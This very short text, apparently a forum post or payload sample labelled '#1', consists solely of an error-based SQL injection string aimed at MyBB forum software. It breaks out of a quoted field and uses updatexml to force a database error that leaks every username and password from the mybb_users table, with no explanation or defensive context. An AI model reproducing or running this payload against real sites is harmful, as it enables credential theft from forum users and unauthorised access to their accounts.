#1
');SELECT updatexml(NULL,CONCAT(0xF09FA494,(SELECT GROUP_CONCAT(username,0x3A,password) FROM mybb_users),0xF09FA494),NULL);--🤷‍♂️